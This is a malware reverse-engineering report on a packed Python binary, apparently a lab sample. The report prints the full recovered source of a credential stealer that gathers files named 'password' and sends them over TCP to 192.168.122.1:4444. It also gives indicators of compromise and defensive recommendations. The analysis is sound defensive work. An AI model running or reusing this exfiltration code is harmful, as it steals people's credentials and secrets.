Reverse-Engineering Report: virus_simulation

Summary

File: virus_simulation -- ELF 64-bit PyInstaller-packed Python 3.13 binary
What it does: A password-file exfiltration tool. It recursively walks all directories from ., finds every file with "password" in its name, reads the full contents, and sends them over unencrypted TCP to 192.168.122.1:4444 in the format FILE:<path>\n<content>\n\n. Errors are silently swallowed to avoid detection.

Indicators of Compromise (IOCs)

```
C2 IP:          192.168.122.1
C2 Port:        4444/TCP (plaintext)
Searches for:   filename containing "password" (case-insensitive)
Data format:    FILE:<path>\n<content>\n\n
Encoding:       UTF-8 with errors='ignore'
Packing:        PyInstaller 2.1+ / Python 3.13
Entry point:    exfil.pyc
```

Technical Logic

The binary contains three functions:

1. collect_password_files() - Uses os.walk(".") to traverse all directories recursively. For each file, it lowercases the filename and checks if "password" is a substring. Matches are opened in text mode with UTF-8 encoding and errors="ignore", so binary/corrupt files do not crash the script. File path and content are stored as tuples in a list. All read exceptions are silently caught and skipped.

2. exfiltrate(matches) - Opens a TCP socket (AF_INET, SOCK_STREAM) to 192.168.122.1:4444 with a 5-second timeout. For each (path, content) tuple, it formats the payload as "FILE:<path>\n<content>\n\n", encodes to UTF-8, and sends via sendall(). Send errors per file are caught and skipped. Connection-level exceptions are silently discarded.

3. main() - Orchestrates: calls collect_password_files() then passes the result to exfiltrate().

Execution: gated by if __name__ == "__main__", so it runs automatically when the binary is launched. No persistence, no privilege escalation.

Recovered Python Source Code

```
import os
import socket

TARGET_IP = '192.168.122.1'
TARGET_PORT = 4444

def collect_password_files():
    matches = []
    for root, dirs, files in os.walk('.'):
        for filename in files:
            if 'password' not in filename.lower():
                continue
            filepath = os.path.join(root, filename)
            try:
                with open(filepath, 'r',
                          encoding='utf-8',
                          errors='ignore') as f:
                    content = f.read()
            except Exception:
                continue
            matches.append((filepath, content))
    return matches


def exfiltrate(matches):
    if not matches:
        return
    try:
        s = socket.socket(socket.AF_INET,
                          socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET_IP, TARGET_PORT))
        for filepath, content in matches:
            payload = f'FILE:{filepath}\n{content}\n\n'
            try:
                s.sendall(payload.encode(
                    'utf-8', errors='ignore'))
            except Exception:
                continue
        s.close()
    except Exception:
        pass


def main():
    matches = collect_password_files()
    exfiltrate(matches)


if __name__ == '__main__':
    main()
```

Source reconstructed from CPython 3.13 bytecode via marshal.load() and dis.dis(). The .pyc was extracted using pyinstxtractor from the PyInstaller bundle.

Risk Assessment & Recommendations

Risk Level: HIGH

Potential Harm:
- Unauthorised exfiltration of credential/ password files
- Loss of sensitive data (SSH keys, DB credentials, API tokens)
- Plaintext transmission visible to any network sniffer
- Silent error handling makes detection difficult
- Can be delivered via phishing, USB drops, supply-chain attacks

Defence Recommendations:
1. Block outbound TCP to port 4444 and uncommon high ports at the firewall.
2. Deploy NIDS rules to detect "FILE:" patterns in plaintext TCP streams.
3. Never store plaintext passwords in files named "*password*".
4. Use YARA rules targeting PyInstaller MEIXXXX pattern in ELF binaries.
5. Restrict execution of unsigned ELF binaries via app whitelisting.
6. Monitor for processes recursively walking the filesystem.